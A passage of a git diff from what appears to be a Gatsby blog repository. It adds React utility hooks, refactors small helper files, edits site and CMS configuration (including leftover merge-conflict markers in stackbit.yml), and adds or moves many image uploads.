+  const urlPathParts = _.split( urlPath, '/' );
+  return _.filter( pages, (page) => {
+    const pageUrlPath = _.trim( page.url, '/' );
+    const pageUrlParts = _.split( pageUrlPath, '/' );
+    return pageUrlParts.length > urlPathParts.length && _.isEqual( pageUrlParts.slice( 0, urlPathParts.length ), urlPathParts );
+  } );
 }
diff --git a/src/utils/hooks/index.js b/src/utils/hooks/index.js
new file mode 100644
index 0000000000..9bc108ad3a
--- /dev/null
+++ b/src/utils/hooks/index.js
@@ -0,0 +1,7 @@
+export * from './useDarkMode';
+export * from './useEventListener';
+export * from './useMediaQuery';
+export * from './useOnClickOutside';
+export * from './useQueryParam';
+export * from './useSize';
+export * from './useStorage';
diff --git a/src/utils/hooks/useDarkMode.js b/src/utils/hooks/useDarkMode.js
new file mode 100644
index 0000000000..9a97d7ddff
--- /dev/null
+++ b/src/utils/hooks/useDarkMode.js
@@ -0,0 +1,36 @@
+import { useLocalStorage, useMediaQuery } from 'hooks';
+import { useCallback, useEffect } from 'react';
+import { COLOR_MODE_KEY, INITIAL_COLOR_MODE_CSS_PROP, MODE_COLORS } from 'utils/constants';
+const setBodyColors = (mode) => {
+    for (const [name, colorByMode] of Object.entries(MODE_COLORS)) {
+        document.body.style.setProperty(`--color-${name}`, colorByMode[mode]);
+    }
+};
+export const useDarkMode = () => {
+    const [colorMode, setLSColorMode] = useLocalStorage(COLOR_MODE_KEY);
+    const prefersDarkFromMQ = useMediaQuery(
+        `(prefers-color-scheme: dark)`,
+        useCallback((prefersDark) => setBodyColors(prefersDark ? `dark` : `light`), [])
+    );
+    // Place useDarkMode initialization in useEffect to exclude it from SSR.
+    // The code inside will run on the client after React rehydration.
+    // Because colors matter a lot for the initial page view, we're not
+    // setting them here but in gatsby-ssr. That way it happens before
+    // the React component tree mounts.
+    useEffect(() => {
+        const initialColorMode = document.body.style.getPropertyValue(INITIAL_COLOR_MODE_CSS_PROP);
+        setLSColorMode(initialColorMode);
+        // https://stackoverflow.com/a/61735300
+        // eslint-disable-next-line react-hooks/exhaustive-deps
+    }, []);
+    function setColorMode(newValue) {
+        setLSColorMode(newValue);
+        // This reassignment happens after setLSColorMode because `auto`
+        // is a valid value for persisting but not for the actual color mode.
+        if (newValue === `auto`) {
+            newValue = prefersDarkFromMQ ? `dark` : `light`;
+        }
+        setBodyColors(newValue);
+    }
+    return [colorMode, setColorMode];
+};
diff --git a/src/utils/hooks/useEventListener.js b/src/utils/hooks/useEventListener.js
new file mode 100644
index 0000000000..0ed2f1d68f
--- /dev/null
+++ b/src/utils/hooks/useEventListener.js
@@ -0,0 +1,21 @@
+import { useEffect, useRef } from 'react';
+export function useEventListener(eventNames, handler, element = globalThis) {
+    // Create a ref that stores the handler.
+    const savedHandler = useRef();
+    if (!Array.isArray(eventNames)) eventNames = [eventNames];
+    // Save handler to ref.current on initial call to useEventListener
+    // and then update ref.current whenever the handler changes.
+    // This allows the second useEffect below to always get the latest
+    // handler without needing to have it in than hooks deps array which
+    // could cause the effect to re-run every render.
+    useEffect(() => (savedHandler.current = handler), [handler]);
+    useEffect(() => {
+        if (!element.addEventListener) return; // element doesn't support a listener, abort.
+        // Create event listener that calls handler function stored in ref
+        const listener = (event) => savedHandler.current(event);
+        for (const e of eventNames) element.addEventListener(e, listener);
+        return () => {
+            for (const e of eventNames) element.removeEventListener(e, listener);
+        };
+    }, [element, eventNames]);
+}
diff --git a/src/utils/hooks/useMediaQuery.js b/src/utils/hooks/useMediaQuery.js
new file mode 100644
index 0000000000..4a7cb6b0e2
--- /dev/null
+++ b/src/utils/hooks/useMediaQuery.js
@@ -0,0 +1,21 @@
+import { useEffect, useState } from 'react';
+import { mediaQueries } from 'utils/mediaQueries';
+export const useMediaQuery = (query, cb) => {
+    const [matches, setMatches] = useState(false);
+    useEffect(() => {
+        const qry = window.matchMedia(query);
+        setMatches(qry.matches);
+        const handleMatch = (q) => {
+            setMatches(q.matches);
+            if (cb instanceof Function) cb(q.matches);
+        };
+        qry.addListener(handleMatch);
+        return () => qry.removeListener(handleMatch);
+    }, [query, cb]);
+    return matches;
+};
+const validKeys = Object.keys(mediaQueries).filter((key) => !key.includes(`Js`));
+export const useScreenQuery = (key, cb) => {
+    if (!mediaQueries[key + `Js`]) throw new TypeError(`useScreenQuery received invalid key: ${key}. Should be one of ${validKeys}`);
+    return useMediaQuery(mediaQueries[key + `Js`], cb);
+};
diff --git a/src/utils/hooks/useOnClickOutside.js b/src/utils/hooks/useOnClickOutside.js
new file mode 100644
index 0000000000..a4d35a0230
--- /dev/null
+++ b/src/utils/hooks/useOnClickOutside.js
@@ -0,0 +1,6 @@
+import { useEventListener } from '.';
+export function useOnClickOutside(ref, handler, events) {
+    if (!events) events = [`mousedown`, `touchstart`];
+    const detectClickOutside = (event) => ref.current && event && !ref.current.contains(event.target) && handler(event);
+    useEventListener(events, detectClickOutside);
+}
diff --git a/src/utils/hooks/useQueryParam.js b/src/utils/hooks/useQueryParam.js
new file mode 100644
index 0000000000..1217d91d11
--- /dev/null
+++ b/src/utils/hooks/useQueryParam.js
@@ -0,0 +1,21 @@
+import { useState } from 'react';
+const handleParam = (key, value, options = {}) => {
+    if (typeof location !== `undefined`) {
+        // historyMethod: push or replace
+        // (https://developer.mozilla.org/docs/Web/API/History)
+        const { historyMethod = `replace`, nullDeletes = true } = options;
+        const params = new URLSearchParams(location.search);
+        if (value === undefined) value = params.get(key);
+        else if (value === null && nullDeletes) params.delete(key);
+        else params.set(key, value);
+        let target = location.pathname + `?` + params.toString();
+        target = target.replace(/\/?\?$/, ``); // remove empty search string
+        history[historyMethod + `State`]({ path: value }, ``, target);
+        return value;
+    }
+};
+export const useQueryParam = (key, value, options) => {
+    const [param, setParam] = useState(handleParam(key, value, options));
+    const setter = (newValue, override) => setParam(handleParam(key, newValue, { ...options, ...override }));
+    return [param, setter];
+};
diff --git a/src/utils/hooks/useSize.js b/src/utils/hooks/useSize.js
new file mode 100644
index 0000000000..7f31a4ff02
--- /dev/null
+++ b/src/utils/hooks/useSize.js
@@ -0,0 +1,12 @@
+import { useEffect, useState } from 'react';
+export const useSize = (ref, quantity) => {
+    const [size, setSize] = useState(0);
+    // useState for performance, prevents ResizeObserver from being invoked on
+    // every rerender
+    const [observer] = useState(new ResizeObserver(([entry]) => setSize(entry.contentRect[quantity])));
+    useEffect(() => {
+        if (ref.current) observer.observe(ref.current);
+        return () => observer.disconnect();
+    }, [observer, ref]);
+    return size;
+};
diff --git a/src/utils/hooks/useStorage.js b/src/utils/hooks/useStorage.js
new file mode 100644
index 0000000000..52ec5a827e
--- /dev/null
+++ b/src/utils/hooks/useStorage.js
@@ -0,0 +1,49 @@
+import { useEffect, useState } from 'react';
+export const useStorage = (storage, key, initialValue, options = {}) => {
+    // storage can be local or session or any instance that supports
+    // reading and writing key-value pairs (like any JS object).
+    const { deleteKeyIfValueIs = null } = options;
+    // We pass useState a function that handles initial state creation.
+    // That way, the function is executed only once and useStorage
+    // returns the correct value on initial render.
+    const [value, setValue] = useState(() => {
+        // During SSR, storage is unavailable so we go straight to initialValue.
+        if (typeof window === `undefined`) return initialValue;
+        try {
+            const value = storage[key];
+            // Parse stored JSON if there was any, else return initialValue.
+            return value ? JSON.parse(value) : initialValue;
+        } catch (error) {
+            // If error also return initialValue
+            console.error(error);
+            return initialValue;
+        }
+    });
+    useEffect(() => {
+        // If key is not in storage, set it to the provided initial value to
+        // ensure we store it even if setStoredValue is never called.
+        if (storage[key] === undefined) storage[key] = JSON.stringify(value);
+        // The CustomEvent triggered by a call to useStorage somewhere
+        // else in the app carries the new value as the event.detail.
+        const cb = (event) => setValue(event.detail);
+        // Register event listener on initial state creation. Allows us to react
+        // to events emitted by setValue below. That way we can keep value in sync
+        // between multiple call sites to useStorage with the same key.
+        document.addEventListener(`storage:${key}Change`, cb);
+        return () => document.removeEventListener(`storage:${key}Change`, cb);
+    }, [value, key, storage]);
+    const setStoredValue = (newValue) => {
+        if (newValue === value) return;
+        // Conform to useState API by allowing newValue to be a function
+        // which takes the current value.
+        if (newValue instanceof Function) newValue = newValue(value);
+        const event = new CustomEvent(`storage:${key}Change`, { detail: newValue });
+        document.dispatchEvent(event);
+        if (newValue === deleteKeyIfValueIs) delete storage[key];
+        else storage[key] = JSON.stringify(newValue);
+        setValue(newValue);
+    };
+    return [value, setStoredValue];
+};
+export const useLocalStorage = (...args) => useStorage(typeof window !== `undefined` && localStorage, ...args);
+export const useSessionStorage = (...args) => useStorage(typeof window !== `undefined` && sessionStorage, ...args);
diff --git a/src/utils/htmlToReact.js b/src/utils/htmlToReact.js
index b199c2a974..f3e34b15ab 100644
--- a/src/utils/htmlToReact.js
+++ b/src/utils/htmlToReact.js
@@ -3,7 +3,9 @@ import ReactHtmlParser, { convertNodeToElement } from 'react-html-parser';
 import ScriptTag from 'react-script-tag';
 import Link from './link';
 import _ from 'lodash';
+
 const convertChildren = (children, index) => _.map(children, (childNode) => convertNodeToElement(childNode, index, _.noop()));
+
 export default function htmlToReact(html) {
     if (!html) {
         return null;
@@ -21,7 +23,7 @@ export default function htmlToReact(html) {
                     return <ScriptTag key={index} {...node.attribs} />;
                 }
             } else if (node.type === 'tag' && node.name === 'a') {
-                const href = node.attribs.href;
+                const { href } = node.attribs;
                 const props = _.omit(node.attribs, 'href');
                 // use Link only if there are no custom attributes like style, class, and what's not that might break react
                 if (_.isEmpty(props)) {
diff --git a/src/utils/link.js b/src/utils/link.js
index 15a230cd7c..99637bcc6d 100644
--- a/src/utils/link.js
+++ b/src/utils/link.js
@@ -1,5 +1,6 @@
 import React from 'react';
 import { Link as GatsbyLink } from 'gatsby';
+
 // Since DOM elements <a> cannot receive activeClassName
 // and partiallyActive, destructure the prop here and
 // pass it only to GatsbyLink
@@ -8,6 +9,7 @@ export default function Link({ children, to, activeClassName, partiallyActive, .
     // This example assumes that any internal link (intended for Gatsby)
     // will start with exactly one slash, and that anything else is external.
     const internal = /^\/(?!\/)/.test(to);
+
     // Use Gatsby Link for internal links, and <a> for others
     if (internal) {
         return (
diff --git a/src/utils/markdownify.js b/src/utils/markdownify.js
index 6a728b7669..b7596b3fd5 100644
--- a/src/utils/markdownify.js
+++ b/src/utils/markdownify.js
@@ -1,5 +1,6 @@
 import marked from 'marked';
 import htmlToReact from './htmlToReact';
+
 export default function markdownify(markdown) {
     if (!markdown) {
         return null;
diff --git a/src/utils/pathJoin.js b/src/utils/pathJoin.js
index f78ff47187..b3c2acfcff 100644
--- a/src/utils/pathJoin.js
+++ b/src/utils/pathJoin.js
@@ -1,4 +1,5 @@
 import _ from 'lodash';
+
 export default function pathJoin(...pathParts) {
     const result = _.compact(pathParts)
         .join('/')
diff --git a/src/utils/toStyleObj.js b/src/utils/toStyleObj.js
index c7f4242899..042e9315af 100644
--- a/src/utils/toStyleObj.js
+++ b/src/utils/toStyleObj.js
@@ -1,15 +1,16 @@
 import _ from 'lodash';
+
 export default function toStyleObj(styleAttr) {
     return styleAttr.split(';').reduce((accumulator, pair) => {
         pair = pair.trim();
         if (_.isEmpty(pair)) {
             return accumulator;
         }
-        let index = pair.indexOf(':');
+        const index = pair.indexOf(':');
         if (index === -1) {
             throw new Error('Could not split style attribute into names and values');
         }
-        let name = _.camelCase(pair.substring(0, index).trim());
+        const name = _.camelCase(pair.substring(0, index).trim());
         accumulator[name] = pair.substring(index + 1).trim();
         return accumulator;
     }, {});
diff --git a/src/utils/toUrl.js b/src/utils/toUrl.js
index f0f0ddd7b7..7aeff0d438 100644
--- a/src/utils/toUrl.js
+++ b/src/utils/toUrl.js
@@ -1,15 +1,22 @@
+/**
+ * If the url starts with a hash, http, or https, return the url as is. Otherwise, use the
+ * gatsbyWithPrefix function
+ * @param url - The URL to be prefixed.
+ * @returns A function that takes a url as an argument and returns the url if it is falsy, starts with
+ * a #, or starts with http:// or https://. Otherwise, it returns the url with the gatsby prefix.
+ */
 import _ from 'lodash';
 import getPage from './getPage';
+
 export default function toUrl(pages, pagePath) {
     if (_.startsWith(pagePath, '#')) {
         return pagePath;
-    } else {
-        // remove extension
-        pagePath = pagePath.replace(/\.\w+$/, '');
-        const page = getPage(pages, pagePath);
-        if (!page) {
-            throw new Error('could not find page with path: ' + pagePath);
-        }
-        return page.url;
     }
+    // remove extension
+    pagePath = pagePath.replace(/\.\w+$/, '');
+    const page = getPage(pages, pagePath);
+    if (!page) {
+        throw new Error(`could not find page with path: ${pagePath}`);
+    }
+    return page.url;
 }
diff --git a/src/utils/withPrefix.js b/src/utils/withPrefix.js
index 9acf1ec87b..e2213bef1f 100644
--- a/src/utils/withPrefix.js
+++ b/src/utils/withPrefix.js
@@ -1,9 +1,11 @@
 const { withPrefix: gatsbyWithPrefix } = require('gatsby');
 const _ = require('lodash');
+
 export default function withPrefix(url) {
     if (!url) {
         return url;
     }
+
     if (_.startsWith(url, '#') || _.startsWith(url, 'http://') || _.startsWith(url, 'https://')) {
         return url;
     }
diff --git a/stackbit.yml b/stackbit.yml
index 6ff85dee8a..1659a8ae58 100644
--- a/stackbit.yml
+++ b/stackbit.yml
@@ -1,7 +1,13 @@
+<<<<<<< HEAD
 stackbitVersion: ~0.4.0
+=======
+# This file was generated by @stackbit/sdk v0.1.15
+# To learn more about stackbit.yaml please visit https://www.stackbit.com/docs/stackbit-yaml/
+stackbitVersion: ~0.3.0
+>>>>>>> master
 ssgName: gatsby
-ssgVersion: 2.4.0
-nodeVersion: 14
+ssgVersion: 2.3.30
+nodeVersion: '12'
 buildCommand: npm run build
 publishDir: public
 staticDir: static
@@ -377,8 +383,12 @@ models:
               options:
                   - two
                   - three
+<<<<<<< HEAD
                   - four
               default: four
+=======
+              default: three
+>>>>>>> master
               required: true
     section_grid:
         type: object
diff --git a/static/admin/config.yml b/static/admin/config.yml
index c77ed6f6b9..e50166a5e5 100644
--- a/static/admin/config.yml
+++ b/static/admin/config.yml
@@ -25,10 +25,10 @@ collections:
       label: Docs
       folder: src/pages/docs
       create: true
-      #path: '/'  # allows to walk inside folders, see https://www.netlifycms.org/docs/beta-features/#folder-collections-path and https://github.com/netlify/netlify-cms/issues/513 and nested collections which allow for recursive subfolders walking without requiring a specific path template: https://www.netlifycms.org/docs/beta-features/#nested-collections
-      slug: '{{title}}/index'
-      preview_path: 'src/pages/docs/preview/{{slug}}'
-      #extension: md
+      path: '/' # allows to walk inside folders, see https://www.netlifycms.org/docs/beta-features/#folder-collections-path and https://github.com/netlify/netlify-cms/issues/513 and nested collections which allow for recursive subfolders walking without requiring a specific path template: https://www.netlifycms.org/docs/beta-features/#nested-collections
+      slug: '{{title}}/{{title}}'
+      preview_path: 'src/pages/doc/{{slug}}'
+      extension: md
       media_folder: '{{media_folder}}/docs'
       # adding a nested object will show the collection folder structure, see https://www.netlifycms.org/docs/beta-features/#nested-collections and https://github.com/netlify/netlify-cms/issues/4741#issuecomment-748627801
       summary: '{{title}} (last modified {{commit_date}})' # text displayed as the name of each entry in the UI listing
diff --git a/static/images/python2.jpg b/static/images/python2.jpg
deleted file mode 100644
index be1f91c05a..0000000000
Binary files a/static/images/python2.jpg and /dev/null differ
diff --git a/static/images/redux-state.gif b/static/images/redux-state.gif
index 1960d04496..e69de29bb2 100644
Binary files a/static/images/redux-state.gif and b/static/images/redux-state.gif differ
diff --git a/static/images/uploads/1eb83ff46da1f1bf9d4227bd663a6c54.png b/static/images/uploads/1eb83ff46da1f1bf9d4227bd663a6c54.png
new file mode 100644
index 0000000000..c26bac211b
Binary files /dev/null and b/static/images/uploads/1eb83ff46da1f1bf9d4227bd663a6c54.png differ
diff --git a/static/images/uploads/21ecc2f26e2641c8e9aae5479481bbe2 (3).png b/static/images/uploads/21ecc2f26e2641c8e9aae5479481bbe2 (3).png
new file mode 100644
index 0000000000..dafeda05db
Binary files /dev/null and b/static/images/uploads/21ecc2f26e2641c8e9aae5479481bbe2 (3).png differ
diff --git a/static/images/uploads/21ecc2f26e2641c8e9aae5479481bbe2 (5).png b/static/images/uploads/21ecc2f26e2641c8e9aae5479481bbe2 (5).png
new file mode 100644
index 0000000000..b6aa354cf4
Binary files /dev/null and b/static/images/uploads/21ecc2f26e2641c8e9aae5479481bbe2 (5).png differ
diff --git a/static/images/uploads/27697c1a901d3b3673aeb98edae4d2ae (2).png b/static/images/uploads/27697c1a901d3b3673aeb98edae4d2ae (2).png
new file mode 100644
index 0000000000..98392cc61b
Binary files /dev/null and b/static/images/uploads/27697c1a901d3b3673aeb98edae4d2ae (2).png differ
diff --git a/static/images/dense-js-code.jpg b/static/images/uploads/3.jpg
similarity index 100%
rename from static/images/dense-js-code.jpg
rename to static/images/uploads/3.jpg
diff --git a/static/images/uploads/51485b6b1a74262e7478709b66e0dd23 (4).png b/static/images/uploads/51485b6b1a74262e7478709b66e0dd23 (4).png
new file mode 100644
index 0000000000..12a1d26714
Binary files /dev/null and b/static/images/uploads/51485b6b1a74262e7478709b66e0dd23 (4).png differ
diff --git a/static/images/uploads/5307d1df23eb389bb31a6cfe43def861 (5).png b/static/images/uploads/5307d1df23eb389bb31a6cfe43def861 (5).png
new file mode 100644
index 0000000000..861261eb6a
Binary files /dev/null and b/static/images/uploads/5307d1df23eb389bb31a6cfe43def861 (5).png differ
diff --git a/static/images/uploads/53bd97097fd4a60cb9d6dce85fefabe8 (5).png b/static/images/uploads/53bd97097fd4a60cb9d6dce85fefabe8 (5).png
new file mode 100644
index 0000000000..9f087752ae
Binary files /dev/null and b/static/images/uploads/53bd97097fd4a60cb9d6dce85fefabe8 (5).png differ
diff --git a/static/images/uploads/6.jpg b/static/images/uploads/6.jpg
new file mode 100644
index 0000000000..5f65659fb9
Binary files /dev/null and b/static/images/uploads/6.jpg differ
diff --git a/static/images/uploads/7.jpg b/static/images/uploads/7.jpg
new file mode 100644
index 0000000000..89a371926a
Binary files /dev/null and b/static/images/uploads/7.jpg differ
diff --git a/static/images/uploads/7a8bc98e902a2f6dea90386cdfb154c2-2d55c637.png b/static/images/uploads/7a8bc98e902a2f6dea90386cdfb154c2-2d55c637.png
new file mode 100644
index 0000000000..4e803a6ea4
Binary files /dev/null and b/static/images/uploads/7a8bc98e902a2f6dea90386cdfb154c2-2d55c637.png differ
diff --git a/static/images/uploads/7a8bc98e902a2f6dea90386cdfb154c2-502fced8.png b/static/images/uploads/7a8bc98e902a2f6dea90386cdfb154c2-502fced8.png
new file mode 100644
index 0000000000..4e803a6ea4
Binary files /dev/null and b/static/images/uploads/7a8bc98e902a2f6dea90386cdfb154c2-502fced8.png differ
diff --git a/static/images/uploads/7a8bc98e902a2f6dea90386cdfb154c2.png b/static/images/uploads/7a8bc98e902a2f6dea90386cdfb154c2.png
new file mode 100644
index 0000000000..4e803a6ea4
Binary files /dev/null and b/static/images/uploads/7a8bc98e902a2f6dea90386cdfb154c2.png differ
diff --git a/static/images/uploads/8.jpg b/static/images/uploads/8.jpg
new file mode 100644
index 0000000000..56867e57d0
Binary files /dev/null and b/static/images/uploads/8.jpg differ
diff --git a/static/images/uploads/9.jpg b/static/images/uploads/9.jpg
new file mode 100644
index 0000000000..da10f4d74d
Binary files /dev/null and b/static/images/uploads/9.jpg differ
diff --git a/static/images/uploads/Capture.PNG b/static/images/uploads/Capture.PNG
new file mode 100644
index 0000000000..ab95d23e5b
Binary files /dev/null and b/static/images/uploads/Capture.PNG differ
diff --git a/static/images/uploads/DgqLkQjTmk.png b/static/images/uploads/DgqLkQjTmk.png
new file mode 100644
index 0000000000..9df258484b
Binary files /dev/null and b/static/images/uploads/DgqLkQjTmk.png differ
diff --git a/static/images/uploads/FDBAF965-0273-46F6-85BC-5446FEE16CE1.jpeg b/static/images/uploads/FDBAF965-0273-46F6-85BC-5446FEE16CE1.jpeg
new file mode 100644
index 0000000000..c822560b04
Binary files /dev/null and b/static/images/uploads/FDBAF965-0273-46F6-85BC-5446FEE16CE1.jpeg differ
diff --git a/static/images/uploads/api-c99e353f761d318322c853c03ebcf21b (1).gif b/static/images/uploads/api-c99e353f761d318322c853c03ebcf21b (1).gif
new file mode 100644
index 0000000000..fa2c722632
Binary files /dev/null and b/static/images/uploads/api-c99e353f761d318322c853c03ebcf21b (1).gif differ
diff --git a/static/images/uploads/api-c99e353f761d318322c853c03ebcf21b (2).gif b/static/images/uploads/api-c99e353f761d318322c853c03ebcf21b (2).gif
new file mode 100644
index 0000000000..fa2c722632
Binary files /dev/null and b/static/images/uploads/api-c99e353f761d318322c853c03ebcf21b (2).gif differ
diff --git a/static/images/uploads/api-c99e353f761d318322c853c03ebcf21b.gif b/static/images/uploads/api-c99e353f761d318322c853c03ebcf21b.gif
new file mode 100644
index 0000000000..fa2c722632
Binary files /dev/null and b/static/images/uploads/api-c99e353f761d318322c853c03ebcf21b.gif differ
diff --git a/static/images/apple-touch-icon-114x114.png b/static/images/uploads/apple-touch-icon-114x114.png
similarity index 100%
rename from static/images/apple-touch-icon-114x114.png
rename to static/images/uploads/apple-touch-icon-114x114.png
diff --git a/static/images/apple-touch-icon-120x120.png b/static/images/uploads/apple-touch-icon-120x120.png
similarity index 100%
rename from static/images/apple-touch-icon-120x120.png
rename to static/images/uploads/apple-touch-icon-120x120.png
diff --git a/static/images/apple-touch-icon-144x144.png b/static/images/uploads/apple-touch-icon-144x144.png
similarity index 100%
rename from static/images/apple-touch-icon-144x144.png
rename to static/images/uploads/apple-touch-icon-144x144.png
diff --git a/static/images/apple-touch-icon-152x152.png b/static/images/uploads/apple-touch-icon-152x152.png
similarity index 100%
rename from static/images/apple-touch-icon-152x152.png
rename to static/images/uploads/apple-touch-icon-152x152.png
diff --git a/static/images/apple-touch-icon-180x180.png b/static/images/uploads/apple-touch-icon-180x180.png
similarity index 100%
rename from static/images/apple-touch-icon-180x180.png
rename to static/images/uploads/apple-touch-icon-180x180.png
diff --git a/static/images/apple-touch-icon-57x57.png b/static/images/uploads/apple-touch-icon-57x57.png
similarity index 100%
rename from static/images/apple-touch-icon-57x57.png
rename to static/images/uploads/apple-touch-icon-57x57.png
diff --git a/static/images/apple-touch-icon-72x72.png b/static/images/uploads/apple-touch-icon-72x72.png
similarity index 100%
rename from static/images/apple-touch-icon-72x72.png
rename to static/images/uploads/apple-touch-icon-72x72.png
diff --git a/static/images/apple-touch-icon-76x76.png b/static/images/uploads/apple-touch-icon-76x76.png
similarity index 100%
rename from static/images/apple-touch-icon-76x76.png
rename to static/images/uploads/apple-touch-icon-76x76.png
diff --git a/static/images/uploads/apple-touch-icon.png b/static/images/uploads/apple-touch-icon.png
new file mode 100644
index 0000000000..193593470f
Binary files /dev/null and b/static/images/uploads/apple-touch-icon.png differ
diff --git a/static/images/uploads/back.jpeg b/static/images/uploads/back.jpeg
new file mode 100644
index 0000000000..b1961bceda
Binary files /dev/null and b/static/images/uploads/back.jpeg differ
diff --git a/static/images/uploads/background (1).gif b/static/images/uploads/background (1).gif
new file mode 100644
index 0000000000..48b5bed848
Binary files /dev/null and b/static/images/uploads/background (1).gif differ
diff --git a/static/images/uploads/background (2).gif b/static/images/uploads/background (2).gif
new file mode 100644
index 0000000000..48b5bed848
Binary files /dev/null and b/static/images/uploads/background (2).gif differ
diff --git a/static/images/uploads/bb090e30d34aa476398902baf0527dc3 (1).jpg b/static/images/uploads/bb090e30d34aa476398902baf0527dc3 (1).jpg
new file mode 100644
index 0000000000..cdddacaa06
Binary files /dev/null and b/static/images/uploads/bb090e30d34aa476398902baf0527dc3 (1).jpg differ
diff --git a/static/images/uploads/beige-maple.png b/static/images/uploads/beige-maple.png
new file mode 100644
index 0000000000..2d660d2719
Binary files /dev/null and b/static/images/uploads/beige-maple.png differ
diff --git a/static/images/uploads/best-birch (1).gif b/static/images/uploads/best-birch (1).gif
new file mode 100644
index 0000000000..3e3eca80e0
Binary files /dev/null and b/static/images/uploads/best-birch (1).gif differ
diff --git a/static/images/uploads/best-birch (2).gif b/static/images/uploads/best-birch (2).gif
new file mode 100644
index 0000000000..3e3eca80e0
Binary files /dev/null and b/static/images/uploads/best-birch (2).gif differ
diff --git a/static/images/uploads/best-birch.gif b/static/images/uploads/best-birch.gif
new file mode 100644
index 0000000000..3e3eca80e0
Binary files /dev/null and b/static/images/uploads/best-birch.gif differ
diff --git a/static/images/uploads/best-zebra (1).gif b/static/images/uploads/best-zebra (1).gif
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/best-zebra (1).gif differ
diff --git a/static/images/uploads/best-zebra (2).gif b/static/images/uploads/best-zebra (2).gif
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/best-zebra (2).gif differ
diff --git a/static/images/uploads/best-zebra.gif b/static/images/uploads/best-zebra.gif
new file mode 100644
index 0000000000..1858d8a86c
Binary files /dev/null and b/static/images/uploads/best-zebra.gif differ
diff --git a/static/images/uploads/bgoonz-blog.netlify.app (1).png b/static/images/uploads/bgoonz-blog.netlify.app (1).png
new file mode 100644
index 0000000000..47f14d0a0f
Binary files /dev/null and b/static/images/uploads/bgoonz-blog.netlify.app (1).png differ
diff --git a/static/images/uploads/bgoonz-blog.netlify.app (2).png b/static/images/uploads/bgoonz-blog.netlify.app (2).png
new file mode 100644
index 0000000000..e8c4356035
Binary files /dev/null and b/static/images/uploads/bgoonz-blog.netlify.app (2).png differ
diff --git a/static/images/uploads/bgoonz-blog.netlify.app (3).png b/static/images/uploads/bgoonz-blog.netlify.app (3).png
new file mode 100644
index 0000000000..2eed96af9a
Binary files /dev/null and b/static/images/uploads/bgoonz-blog.netlify.app (3).png differ
diff --git a/static/images/uploads/bgoonz-blog.netlify.app.png b/static/images/uploads/bgoonz-blog.netlify.app.png
new file mode 100644
index 0000000000..88f76afa51
Binary files /dev/null and b/static/images/uploads/bgoonz-blog.netlify.app.png differ
diff --git a/static/images/uploads/bigo-8f9701e1 (1).jpg b/static/images/uploads/bigo-8f9701e1 (1).jpg
new file mode 100644
index 0000000000..b564988433
Binary files /dev/null and b/static/images/uploads/bigo-8f9701e1 (1).jpg differ
diff --git a/static/images/uploads/bigo-8f9701e1.jpg b/static/images/uploads/bigo-8f9701e1.jpg
new file mode 100644
index 0000000000..b564988433
Binary files /dev/null and b/static/images/uploads/bigo-8f9701e1.jpg differ
diff --git a/static/images/uploads/bigo-9a655ac8.jpg b/static/images/uploads/bigo-9a655ac8.jpg
new file mode 100644
index 0000000000..b564988433
Binary files /dev/null and b/static/images/uploads/bigo-9a655ac8.jpg differ
diff --git a/static/images/uploads/bigo.jpg b/static/images/uploads/bigo.jpg
new file mode 100644
index 0000000000..b564988433
Binary files /dev/null and b/static/images/uploads/bigo.jpg differ
diff --git a/static/images/uploads/bigo.png b/static/images/uploads/bigo.png
new file mode 100644
index 0000000000..ea11f378c8
Binary files /dev/null and b/static/images/uploads/bigo.png differ
diff --git a/static/images/uploads/binary-files.png b/static/images/uploads/binary-files.png
new file mode 100644
index 0000000000..781c8e16e7
Binary files /dev/null and b/static/images/uploads/binary-files.png differ
diff --git a/static/images/uploads/blog-recent.png b/static/images/uploads/blog-recent.png
new file mode 100644
index 0000000000..666118e44b
Binary files /dev/null and b/static/images/uploads/blog-recent.png differ
diff --git a/static/images/uploads/blog-screenshot-jan.png b/static/images/uploads/blog-screenshot-jan.png
new file mode 100644
index 0000000000..50f1e64f70
Binary files /dev/null and b/static/images/uploads/blog-screenshot-jan.png differ
diff --git a/static/images/uploads/blog.JPG b/static/images/uploads/blog.JPG
new file mode 100644
index 0000000000..8aa1cc32de
Binary files /dev/null and b/static/images/uploads/blog.JPG differ
diff --git a/static/images/blue-plankton.png b/static/images/uploads/blue-plankton.png
similarity index 100%
rename from static/images/blue-plankton.png
rename to static/images/uploads/blue-plankton.png
diff --git a/static/images/uploads/brown-papersq.png b/static/images/uploads/brown-papersq.png
new file mode 100644
index 0000000000..3813903dbf
Binary files /dev/null and b/static/images/uploads/brown-papersq.png differ
diff --git a/static/images/uploads/bryan_guner_resume_2021-v4IMG.jpeg b/static/images/uploads/bryan_guner_resume_2021-v4IMG.jpeg
new file mode 100644
index 0000000000..b9325fc0cb
Binary files /dev/null and b/static/images/uploads/bryan_guner_resume_2021-v4IMG.jpeg differ
diff --git a/static/images/uploads/bullets-1.png b/static/images/uploads/bullets-1.png
new file mode 100644
index 0000000000..fd6ab85827
Binary files /dev/null and b/static/images/uploads/bullets-1.png differ
diff --git a/static/images/uploads/call-stack-first-example.png b/static/images/uploads/call-stack-first-example.png
new file mode 100644
index 0000000000..968922f736
Binary files /dev/null and b/static/images/uploads/call-stack-first-example.png differ
diff --git a/static/images/uploads/call-stack-second-example.png b/static/images/uploads/call-stack-second-example.png
new file mode 100644
index 0000000000..08e09457a4
Binary files /dev/null and b/static/images/uploads/call-stack-second-example.png differ
diff --git a/static/images/uploads/call-stack-third-example.png b/static/images/uploads/call-stack-third-example.png
new file mode 100644
index 0000000000..88d877a701
Binary files /dev/null and b/static/images/uploads/call-stack-third-example.png differ
diff --git a/static/images/uploads/charming-dolphin (1).gif b/static/images/uploads/charming-dolphin (1).gif
new file mode 100644
index 0000000000..1cb0b9e292
Binary files /dev/null and b/static/images/uploads/charming-dolphin (1).gif differ
diff --git a/static/images/uploads/charming-dolphin (2).gif b/static/images/uploads/charming-dolphin (2).gif
new file mode 100644
index 0000000000..1cb0b9e292
Binary files /dev/null and b/static/images/uploads/charming-dolphin (2).gif differ
diff --git a/static/images/uploads/charming-dolphin.gif b/static/images/uploads/charming-dolphin.gif
new file mode 100644
index 0000000000..1cb0b9e292
Binary files /dev/null and b/static/images/uploads/charming-dolphin.gif differ
diff --git a/static/images/uploads/checklist.PNG b/static/images/uploads/checklist.PNG
new file mode 100644
index 0000000000..64714d3c4b
Binary files /dev/null and b/static/images/uploads/checklist.PNG differ
